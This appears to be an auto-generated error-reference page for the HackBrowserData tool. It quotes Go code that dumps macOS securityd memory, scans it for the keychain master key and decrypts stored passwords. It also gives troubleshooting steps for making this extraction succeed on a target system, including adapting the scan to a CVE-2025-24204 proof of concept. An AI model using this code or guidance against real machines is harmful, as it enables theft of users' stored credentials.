moonD4rk/HackBrowserData · error

no master key candidates found in securityd memory

Error message

no master key candidates found in securityd memory

What it means

scanMasterKeyCandidates completed but found zero 24-byte master key candidates in the MALLOC_SMALL regions of the securityd core dump. The scanner looks for the [0x18 length][pointer] pattern; none matched, so decryption is aborted rather than attempted with garbage keys.

Source

Thrown at masterkey/gcoredump_darwin.go:96

	defer os.Remove(corePath)

	cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePrefix, strconv.Itoa(pid))
	if err := cmd.Run(); err != nil {
		return nil, fmt.Errorf("failed to dump securityd memory: %w", err)
	}

	// vmmap identifies MALLOC_SMALL heap regions where securityd stores keys
	regions, err := findMallocSmallRegions(pid)
	if err != nil {
		return nil, fmt.Errorf("failed to find malloc small regions: %w", err)
	}

	candidates, err := scanMasterKeyCandidates(corePath, regions)
	if err != nil {
		return nil, fmt.Errorf("scan master key candidates: %w", err)
	}
	if len(candidates) == 0 {
		return nil, fmt.Errorf("no master key candidates found in securityd memory")
	}

	// read keychain file once, reuse buffer for each candidate
	keychainBuf, err := os.ReadFile(loginKeychainPath)
	if err != nil {
		return nil, fmt.Errorf("read keychain: %w", err)
	}

	for _, candidate := range candidates {
		kc, err := keychainbreaker.Open(keychainbreaker.WithBytes(keychainBuf))
		if err != nil {
			continue
		}
		if err := kc.Unlock(keychainbreaker.WithKey(candidate)); err != nil {
			continue
		}

		records, err := kc.GenericPasswords()

View on GitHub (pinned to 0503d04d7a)

Solutions

1. Unlock the login keychain first (log in via GUI or `security unlock-keychain`) so the master key is resident in securityd memory, then retry.
2. Manually inspect vmmap output for MALLOC_SMALL lines — if none, the region-parsing assumptions are broken on this macOS version.
3. Update the scan pattern (0x18 length + pointer heuristic) to match the current securityd layout for your macOS version; see the FFRI CVE-2025-24204 PoC for reference.
4. Check gcore produced a full dump (size vs securityd RSS via `ps -o rss=`) — a truncated dump may omit the region.
5. Consider the alternative keychain extraction path in this repo if gcore-based scanning is unsupported on the target OS build.

out, _ := exec.Command("sudo", "vmmap", "--wide", pid).Output()
if !strings.Contains(string(out), "MALLOC_SMALL") {
    return fmt.Errorf("no MALLOC_SMALL regions; scanning heuristic will fail")
}

records, err := masterkey.DecryptKeychainRecords()
if err != nil && strings.Contains(err.Error(), "no master key candidates") {
    // fall back to another keychain extraction method or prompt user to unlock keychain and retry
}

When it happens

Trigger: Calling DecryptKeychainRecords when: no MALLOC_SMALL regions existed (vmmap returned an empty list — error 53's sibling case), the master key layout differs on the running macOS version (offset/length changed), the key lives outside MALLOC_SMALL, or the keychain has never been unlocked so no key is resident in memory.

Common situations: Newer macOS versions changing securityd's key storage layout; dumping right after boot before the keychain was unlocked; the target user's keychain being iCloud-only or FileVault-managed differently; vmmap output format drift causing zero parsed regions.

Understand the failure class

Background: EmptyResultError / "no results found": when an API or scraper succeeds but returns zero rows — this error's family across 9 libraries.

Related errors

• tried %d candidates, none unlocked keychain
• requires root privileges
• keychain gcore dump not built in (rebuild with -tags keychai
• not found in credential store
• sysctl kern.proc.all failed: %w

AI-assisted analysis of moonD4rk/HackBrowserData@0503d04d7a (2026-09-06). Data as JSON: /api/errors/2b3f1667a57b24e6. Report an issue: GitHub.